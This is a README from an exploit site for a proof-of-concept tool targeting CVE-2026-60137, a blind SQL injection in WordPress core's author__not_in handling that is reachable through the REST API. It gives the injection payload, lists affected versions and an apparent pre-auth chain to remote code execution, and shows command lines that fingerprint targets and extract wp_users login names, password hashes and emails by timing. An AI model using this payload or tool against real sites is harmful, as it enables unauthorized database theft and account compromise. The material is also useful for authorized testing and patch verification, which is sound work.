## https://sploitus.com/exploit?id=4B54375C-1816-523D-BEE3-4FB0CF80DB78
# CVE-2026-60137 β WordPress Core SQL Injection PoC
Non-destructive proof-of-concept and verification harness for **CVE-2026-60137**, a
blind SQL injection in WordPress core (`WP_Query::author__not_in`), reachable via the
REST API's `author_exclude` parameter.
## Root Cause
`WP_Query::get_posts()` builds SQL by string-concatenating the `author__not_in` query
variable into:
```sql
... AND {wpdb->posts}.post_author NOT IN ( )
```
The value is sanitized (per-element `absint`) **only** when it arrives as an array. If a
scalar string is delivered β the REST `author_exclude` parameter maps internally to
`author__not_in` β the `is_array()` sanitization guard is skipped and the raw string
lands inside the `NOT IN (...)` clause, resulting in SQL injection ([CWE-89](https://cwe.mitre.org/data/definitions/89.html)).
A payload of the form `1) OR SLEEP(6)#` produces:
```sql
post_author NOT IN ( 1) OR SLEEP(6)# )
```
which parses as `post_author NOT IN (1) OR SLEEP(6)` (the trailing `)` is consumed by
the `#` comment) β a clean, time-based blind oracle with zero database writes.
## Affected / Fixed
| | |
|---|---|
| **Affected** | 6.8.0 β 6.8.5, 6.9.0 β 6.9.4, 7.0.0 β 7.0.1 |
| **Fixed** | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| **CVSS 3.1** | `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` β **5.9** (standalone sink) |
| **Chained** | with CVE-2026-63030 (REST batch route confusion) β **9.8** pre-auth RCE on 6.9.0 β 7.0.1 |
### Reachability notes
- **6.9.0+** β sink reachable pre-auth via `/wp-json/batch/v1` route confusion.
- **6.8.x** β the REST schema rejects a scalar `author_exclude` (HTTP 400) on the stock
posts route, so the sink is typically reachable only when a plugin/theme forwards
untrusted input, or through an authenticated session (`--cookie`) via the batch route.
## What the script does
`cve_2026_60137_poc.py` is read-only against the database:
1. **Fingerprints** the target (generator meta tag, feed, `readme.html`, `/wp-json/`
index) to check whether the version is in an affected range.
2. **Detects** the injection with a time-based oracle: baseline vs. a `SLEEP(0)`
parse-control vs. a `SLEEP(n)` payload, across several delivery vectors (direct REST
routes, `?rest_route=`, and the batch endpoint), and reports a verdict per vector.
3. **Optionally extracts** a `wp_users` row (`user_login`, `user_pass`, `user_email`) via
blind binary-search timing, strictly using `SELECT`/`SLEEP` β it never writes to the
database.
## Usage
```bash
# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
```
### Options
| Flag | Default | Description |
|---|---|---|
| `--url` | *required* | Target base URL |
| `--safe` | off | Fingerprint only; send no payloads |
| `--sleep` | 6 | `SLEEP()` seconds used by the detection oracle |
| `--samples` | 3 | Timing samples per measurement (median is used) |
| `--threshold` | 0.7 | Fraction of `--sleep` treated as a positive delta |
| `--extract` | off | Extract a `wp_users` row via the blind oracle |
| `--user-id` | 1 | `wp_users.ID` to extract |
| `--extract-sleep` | 2.0 | `SLEEP()` seconds per extraction probe |
| `--limit` | 64 | Max characters per extracted field |
| `--only-vector` | β | Only test vectors whose name contains this string |
| `--cookie` | β | Authenticated cookie for auth-gated vectors |
| `--proxy` | β | HTTP(S) proxy, e.g. `http://127.0.0.1:8080` (Burp) |
| `--timeout` | 30 | Request timeout in seconds |
| `--no-verify-tls` | off | Disable TLS certificate verification |
| `--json-out` | β | Write machine-readable evidence to a JSON file |
## Legal / Responsible Use
This tool is provided for **authorized security testing only** β penetration tests,
CTFs, and research against systems you own or have explicit written permission to
assess. Running it against systems without authorization is illegal. The author
accepts no liability for misuse.
Any output written with `--json-out` may contain the tested URL, version fingerprint,
and timing evidence β treat it as sensitive engagement data.